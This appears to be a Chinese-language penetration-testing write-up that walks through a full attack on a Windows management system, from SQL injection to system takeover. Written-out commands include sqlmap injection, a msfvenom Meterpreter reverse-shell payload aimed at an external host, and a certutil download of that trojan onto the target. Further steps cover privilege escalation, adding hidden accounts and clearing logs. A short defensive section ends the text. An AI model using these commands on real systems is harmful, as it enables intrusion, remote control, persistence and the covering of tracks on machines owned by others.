一处SQL引发的血案
字数 1258 2025-08-20 18:17:47
SQL注入漏洞实战分析与提权技术详解
漏洞发现与利用过程
初始信息收集
- 目标发现:通过nmap全端口扫描发现管理系统
- 命令示例:
nmap -p- <目标IP>
- 命令示例:
- 访问测试:直接访问返回404,需通过特定端口访问管理系统
认证绕过与注入发现
-
弱口令爆破尝试:
- 发现登录接口可进行用户名+密码爆破
- 使用常见用户名
admin进行爆破 - 成功获取超级管理员权限
-
SQL注入发现:
- 在登录框输入单引号(
')触发报错 - 确认存在SQL注入漏洞
- 使用sqlmap进行自动化测试:
sqlmap -u "http://target/login" --data="username=admin&password=123" --level=5 --risk=3
- 在登录框输入单引号(
权限确认与利用
-
权限检查:
- 确认当前数据库用户为DBA权限
- 检查是否具备
os-shell能力
-
命令执行:
- 确认可通过SQL注入执行系统命令
- 但执行权限受限,需进行提权
后渗透与提权技术
反向Shell建立
-
MSF木马生成:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<外网IP> LPORT=<端口> -f exe > /root/test.exe- 使用花生壳进行内网穿透(需桥接网络模式)
- 注意:需先在目标创建目录再下载
-
文件下载技术:
- 通过certutil下载木马:
certutil.exe -urlcache -split -f http://myweb/test.exe d:\excel\listss.exe
- 通过certutil下载木马:
-
MSF监听配置:
- 使用
exploit/multi/handler模块 - 设置payload为
windows/meterpreter/reverse_tcp - 配置正确的本地IP和端口
- 使用
系统提权技术
-
系统信息收集:
- 执行
systeminfo获取补丁信息 - 使用在线漏洞检测平台分析缺失补丁:
- https://detect.secwx.com/
- 执行
-
提权EXP利用:
- 根据检测结果在GitHub寻找对应EXP
- 使用
upload命令上传提权工具 - 执行提权操作
-
远程桌面配置:
- 添加系统账号
- 检查TermService状态:
tasklist -svc - 根据PID启动/配置远程桌面服务
关键技术与注意事项
SQL注入利用要点
-
注入点探测:
- 单引号测试需在抓包环境下观察完整响应
- 报错信息是判断注入存在的重要依据
-
权限最大化:
- 优先确认是否为DBA权限
- 尝试
os-shell前检查xp_cmdshell状态
内网穿透技巧
-
花生壳配置要点:
- Kali需使用桥接网络模式
- 正确映射本地IP和端口
- 外网域名和端口使用花生壳提供的地址
-
文件下载限制规避:
- 确保目标目录有写入权限
- 避免直接下载到系统根目录
提权技术要点
-
补丁分析:
- 完整收集
systeminfo输出 - 重点关注内核、服务相关补丁
- 完整收集
-
EXP选择:
- 优先选择已验证的公开EXP
- 注意EXP与系统版本的兼容性
-
权限维持:
- 添加隐藏账号
- 清理操作日志
防御建议
-
针对SQL注入:
- 使用参数化查询
- 实施最小权限原则
- 过滤特殊字符
-
针对命令执行:
- 禁用不必要的存储过程(xp_cmdshell等)
- 实施命令白名单
-
系统加固:
- 及时安装安全补丁
- 限制远程桌面访问
- 启用日志审计
-
网络防护:
- 限制管理接口访问
- 实施网络分段
- 部署WAF防护
总结
本案例展示了从SQL注入发现到系统完全控制的完整攻击链,强调了:
- 输入验证的重要性
- 最小权限原则的必要性
- 及时打补丁的关键性
- 纵深防御的价值
渗透测试过程中,多尝试、多收集资源可显著提高成功率,而防御方需从多个层面构建防护体系。